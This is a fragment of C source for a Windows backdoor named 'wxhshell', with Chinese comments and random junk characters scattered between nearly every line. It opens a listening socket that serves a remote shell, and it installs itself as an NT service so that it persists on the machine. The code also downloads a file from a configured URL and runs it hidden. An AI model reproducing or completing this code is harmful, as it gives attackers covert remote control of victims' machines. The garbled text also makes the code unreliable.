zMM86 c @+vTGjHA HMODULE hMod; I%WK*AORM char procName[255]; 'aWZ#GS* unsigned long cbNeeded; )Ea_:C' u1Yp5jp^K if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zt%Fvn4/pF u(a&x|WY CloseHandle(hProcess); 7anpz% 6242qb if(strstr(procName,"services")) return 1; // 以服务启动 @z RB4d$ W,J,h6{F return 0; // 注册表启动 +W4g:bB1 } NX", e= BC[d={_- // 主模块 1qN9bwRO int StartWxhshell(LPSTR lpCmdLine) P!ICno6[e { T#f@8 -XUE SOCKET wsl; 9m9=O&C~-< BOOL val=TRUE; ZEJadR int port=0; [63;8l} struct sockaddr_in door; J>PV{N H)+kN'J if(wscfg.ws_autoins) Install(); j06oAer 9 4!qDG+m port=atoi(lpCmdLine); ]}l!L; @S92D6 if(port<=0) port=wscfg.ws_port; []Ea0jYu FI5C&d5d WSADATA data; 0GVok$r@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3NWAyCq- 4BtdN-T}b if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hj1jY setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xU"qB24]= door.sin_family = AF_INET; A UV$ S2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); +60;z4y}w door.sin_port = htons(port); (Mh\!rMg Q(3x"+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'a*IZb-M closesocket(wsl); r&DK> H return 1; PEl]HI_H } b4ivWb |` /B7
GH5 if(listen(wsl,2) == INVALID_SOCKET) { uNg.y$>CX closesocket(wsl); XQ+hTtP return 1; <,C})H? } m`"s$\fah Wxhshell(wsl); Yv-uC}e WSACleanup(); 7d5x4^EYE Nj\WvKG return 0; .Ps;O '*;rm*n }
"kC>EtaX Fu/CX4R_| // 以NT服务方式启动 KK?~i[aL VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /<Et { jGCW^#GE DWORD status = 0; oH0\6:S DWORD specificError = 0xfffffff; kuaov3Ui WXL.D_=+ serviceStatus.dwServiceType = SERVICE_WIN32; RT>3\qhZ serviceStatus.dwCurrentState = SERVICE_START_PENDING; O.dNhd$ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Y?$[+Y serviceStatus.dwWin32ExitCode = 0; w[ngkLEA serviceStatus.dwServiceSpecificExitCode = 0; Yt^+31/% serviceStatus.dwCheckPoint = 0; $;1~JOZh serviceStatus.dwWaitHint = 0; `ijX9c z4goa2@Z hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &.,OvVAo if (hServiceStatusHandle==0) return; .8m)^ET P+SCX#{y status = GetLastError(); 2h!3[{M\ if (status!=NO_ERROR) d?mdw
?| { C&T3vM serviceStatus.dwCurrentState = SERVICE_STOPPED; c#DTL/8"DO serviceStatus.dwCheckPoint = 0; ^9nM)[/C? serviceStatus.dwWaitHint = 0; h(sD] N serviceStatus.dwWin32ExitCode = status; 9[!
Hz)|X serviceStatus.dwServiceSpecificExitCode = specificError; l?q^j;{Dw SetServiceStatus(hServiceStatusHandle, &serviceStatus); MqqS3
return; `uj`ixcR } QbWD&8T0O `6A"eDa serviceStatus.dwCurrentState = SERVICE_RUNNING; Ou%>Dd5|? serviceStatus.dwCheckPoint = 0; i@RjG serviceStatus.dwWaitHint = 0; L8fr
uwb if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2gGJ:,RC$ } Tla*V#:Ve 0)B+: // 处理NT服务事件,比如:启动、停止 @lX)dY VOID WINAPI NTServiceHandler(DWORD fdwControl) Fmu R(f= {
Du/s switch(fdwControl) e.T5F`Du { :97`IV% case SERVICE_CONTROL_STOP: Y5
dt?a serviceStatus.dwWin32ExitCode = 0; JnZxP> 2B serviceStatus.dwCurrentState = SERVICE_STOPPED; DM&"oa50 serviceStatus.dwCheckPoint = 0; mKg~8q 3
serviceStatus.dwWaitHint = 0; ^\!p;R { ;@L#0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); zehF/HBzE } dM') <lF return; Rq7ks To case SERVICE_CONTROL_PAUSE: QWoEo serviceStatus.dwCurrentState = SERVICE_PAUSED; g#AA.@/Z break; 5v3B8 @CsA case SERVICE_CONTROL_CONTINUE: j\a?n4g - serviceStatus.dwCurrentState = SERVICE_RUNNING; EPI*~=Z.U break; &ke4":7X case SERVICE_CONTROL_INTERROGATE: _RmrjDk break; 5HU>o|. }; `/U:u9H9v SetServiceStatus(hServiceStatusHandle, &serviceStatus); *+IUGR } Np<Aak 0nS6<: // 标准应用程序主函数 Z-Uq89[HZ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W1OGN4`C { z23KSPo >#ou8}0 // 获取操作系统版本 u/zC$L3B( OsIsNt=GetOsVer(); /b*@dy GetModuleFileName(NULL,ExeFile,MAX_PATH); OjCT%6hy; *0U(nCT&m // 从命令行安装 :J"e{|g', if(strpbrk(lpCmdLine,"iI")) Install(); 1pn167IQL QV't+)uUVo // 下载执行文件 =nsY[ s< if(wscfg.ws_downexe) { &5a>5ZG} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I;7{b\t
Q WinExec(wscfg.ws_filenam,SW_HIDE); h<j04fj } z}& |